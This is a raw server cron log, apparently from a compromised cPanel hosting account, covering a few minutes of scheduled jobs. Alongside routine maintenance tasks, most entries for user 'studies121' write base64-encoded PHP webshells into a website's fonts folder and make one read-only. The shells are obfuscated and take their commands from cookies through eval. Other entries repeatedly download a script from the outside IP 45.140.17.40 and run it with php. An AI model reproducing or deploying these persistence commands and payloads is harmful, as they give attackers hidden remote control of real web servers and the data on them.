Sep  5 11:10:01 ip-184-168-122-23 CROND[977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:11:01 ip-184-168-122-23 CROND[1133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:11:01 ip-184-168-122-23 CROND[1135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:11:01 ip-184-168-122-23 CROND[1134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:11:01 ip-184-168-122-23 CROND[1136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:12:01 ip-184-168-122-23 CROND[1262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:12:01 ip-184-168-122-23 CROND[1263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:12:01 ip-184-168-122-23 CROND[1264]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:12:01 ip-184-168-122-23 CROND[1265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:12:01 ip-184-168-122-23 CROND[1266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:13:01 ip-184-168-122-23 CROND[1463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:13:01 ip-184-168-122-23 CROND[1467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:13:01 ip-184-168-122-23 CROND[1469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:13:01 ip-184-168-122-23 CROND[1468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:14:01 ip-184-168-122-23 CROND[1625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:14:01 ip-184-168-122-23 CROND[1626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:14:01 ip-184-168-122-23 CROND[1627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:14:01 ip-184-168-122-23 CROND[1629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:14:01 ip-184-168-122-23 CROND[1628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:15:01 ip-184-168-122-23 CROND[1788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:15:01 ip-184-168-122-23 CROND[1790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:15:01 ip-184-168-122-23 CROND[1791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:15:01 ip-184-168-122-23 CROND[1789]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:15:01 ip-184-168-122-23 CROND[1793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:15:01 ip-184-168-122-23 CROND[1792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:16:01 ip-184-168-122-23 CROND[1944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:16:01 ip-184-168-122-23 CROND[1946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:16:01 ip-184-168-122-23 CROND[1949]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 11:16:01 ip-184-168-122-23 CROND[1947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:16:01 ip-184-168-122-23 CROND[1950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:16:01 ip-184-168-122-23 CROND[1948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:17:01 ip-184-168-122-23 CROND[2141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:17:01 ip-184-168-122-23 CROND[2142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:17:01 ip-184-168-122-23 CROND[2144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:17:01 ip-184-168-122-23 CROND[2143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:18:01 ip-184-168-122-23 CROND[2316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:18:01 ip-184-168-122-23 CROND[2319]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:18:01 ip-184-168-122-23 CROND[2320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:18:01 ip-184-168-122-23 CROND[2322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:18:01 ip-184-168-122-23 CROND[2321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:19:01 ip-184-168-122-23 CROND[2558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:19:01 ip-184-168-122-23 CROND[2556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:19:01 ip-184-168-122-23 CROND[2557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:19:01 ip-184-168-122-23 CROND[2559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:20:02 ip-184-168-122-23 CROND[2667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:20:02 ip-184-168-122-23 CROND[2672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 11:20:02 ip-184-168-122-23 CROND[2674]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:20:02 ip-184-168-122-23 CROND[2673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:20:02 ip-184-168-122-23 CROND[2675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:20:02 ip-184-168-122-23 CROND[2676]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 11:20:02 ip-184-168-122-23 CROND[2677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:20:02 ip-184-168-122-23 CROND[2678]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:20:02 ip-184-168-122-23 CROND[2680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:21:01 ip-184-168-122-23 CROND[2810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:21:01 ip-184-168-122-23 CROND[2811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:21:01 ip-184-168-122-23 CROND[2812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:21:01 ip-184-168-122-23 CROND[2814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:22:01 ip-184-168-122-23 CROND[2936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:22:01 ip-184-168-122-23 CROND[2937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:22:01 ip-184-168-122-23 CROND[2940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:22:01 ip-184-168-122-23 CROND[2942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:22:01 ip-184-168-122-23 CROND[2944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
